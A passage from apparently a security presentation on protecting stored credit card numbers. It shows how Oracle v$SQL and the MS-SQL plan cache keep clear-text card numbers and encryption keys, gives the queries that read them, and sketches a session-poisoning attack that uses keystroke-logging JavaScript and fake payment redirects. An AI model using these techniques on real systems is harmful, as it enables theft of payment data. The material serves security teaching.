<td>8CD91237C682C4E5BFC0216D598EB91F</td>
<td>2012-01-01 00:00:00.0</td>
</tr>
<tr>
<td>13</td>
<td>2</td>
<td>CD078C7A93C9276B8D68D595EB36AC</td>
<td>2012-01-01 00:00:00.0</td>
</tr>
<tr>
<td>14</td>
<td>3</td>
<td>C998BF726C288DA29881AFA1D5A8A62F</td>
<td>2012-01-01 00:00:00.0</td>
</tr>
<tr>
<td>15</td>
<td>1</td>
<td>8CD91237C682C4E5BFC0216D598EB91F</td>
<td>2012-01-01 00:00:00.0</td>
</tr>
<tr>
<td>16</td>
<td>1</td>
<td>CD7B5318F099A5EAC2A7B5E4C4B2E95C</td>
<td>2012-01-01 00:00:00.0</td>
</tr>
<tr>
<td>17</td>
<td>1</td>
<td>F9C2D69BB05664B78DC31F13E350E7F4</td>
<td>2012-01-01 00:00:00.0</td>
</tr>
<tr>
<td>18</td>
<td>3</td>
<td>AR4RA5918F976A44FCF7C0967635R519</td>
<td>2012-05-01 00:00:00.0</td>
</tr>
</tbody>
</table>
- No regulation on where encryption occurs
- What if encryption occurs in Database:

```sql
$query = "INSERT INTO shop_creditcards
(user_id, card_type, card_number, valid_to, enabled) VALUES
($userID, $cardType, (select rawtohex(utl_raw.cast_to_raw
(dbms_obfuscation_toolkit.DES3Encrypt
(input_string=>$cardNumber,
key_string=>$cardEncryptionKey))) from dual), $validTo, 1);"
```

Symmetric key stored in application server
Queries contain clear text data

- Queries can be forensically obtained
  - v$sql in Oracle*
    - Lists statistics on shared SQL area
    - Typically stores last 500 queries
    - Sometimes the data from v$SQL gets written to WRH$_SQLTEXT
      - Permanent entry
  - Plan cache in MS-SQL

* Credit goes to Alexander Kornbrust for finding this.
>Select sql_text from V$SQL

---------------------------------------------

- INSERT INTO shop_creditcards (user_id, card_type, card_number, valid_to, enabled) VALUES ('2', '2', (select rawtohex(utl_raw.cast_to_raw (dbms_obfuscation_toolkit.DES3Encrypt (input_string=>'4918129821080021', key_string=>'ihPJlkqsJJXIdcM1rjVaHkkI7cd42gNgzHn8')) from dual), '01-JAN-'012', '1')

W00t!
Errr... Clear text PAN and private key?
SELECT st.text, stat.creation_time, stat.last_execution_time FROM sys.dm_exec_cached_plans AS plans OUTER APPLY sys.dm_exec_sql_text(plan_handle) AS st JOIN sys.dm_exec_query_stats AS stat ON stat.plan_handle = plans.plan_handle WHERE cacheobjtype = 'Compiled Plan' ORDER BY stat.last_execution_time DESC
Encryption/Hashing within database

```sql
INSERT INTO test.dbo.test_table (data_string) VALUES (SUBSTRING(master.dbo.fn_varbintohexstr(HashBytes('MD5', '1111-2222-3333-9999')), 3, 32))
```

(1 row(s) affected)

```sql
SELECT data_string FROM test.dbo.test_table
```

```
| 1 | 3dc848db9e09afdb17e82ab098131d44 |
```
Sensitive data in Plan Cache

```
SELECT st.text, stat.creation_time, stat.last_execution_time
FROM sys.dm_exec_cached_plans AS plans
OUTER APPLY sys.dm_exec_sql_text(plan_handle) AS st
JOIN sys.dm_exec_query_stats AS stat ON stat.plan_handle = plans.plan_handle
WHERE cacheobjtype = 'Compiled Plan'
ORDER BY stat.last_execution_time DESC
```

Results:

```
<table>
<thead>
<tr>
<th>text</th>
<th>creation time</th>
</tr>
</thead>
<tbody>
<tr>
<td>SELECT data_string FROM test.dbo.test_table</td>
<td>2010-06-08 17:01:46.000</td>
</tr>
<tr>
<td>create function sys.fn_varbinary_tochar (int, @data varbinary(max)) returns varchar(max) as begin return sys.fn_varbinary_tochar(@data, 1); end</td>
<td>2010-06-08 17:05:04.987</td>
</tr>
<tr>
<td>INSERT INTO test.dbo.test_table (data_string) VALUES (SUBSTRING(master.dbo.fn_varbinary_tochar(HashBytes('MD5', 1111-2222-3333-9999)), 3, 32))</td>
<td>2010-06-08 17:00:35.277</td>
</tr>
<tr>
<td>delete from test.dbo.test_table</td>
<td>2010-06-08 17:03:02.790</td>
</tr>
</tbody>
</table>
```
What if the attacker poisons the session data

- Session data now contains malicious javascript
- Javascript logs keystrokes and send it to attacker’s server
  - Who needs the encryption keys!!
- Change the page(via javascript) so that the user’s get redirected to fake third party payment servers
  - Redirect back to original gateways
Video
Thank You

- References: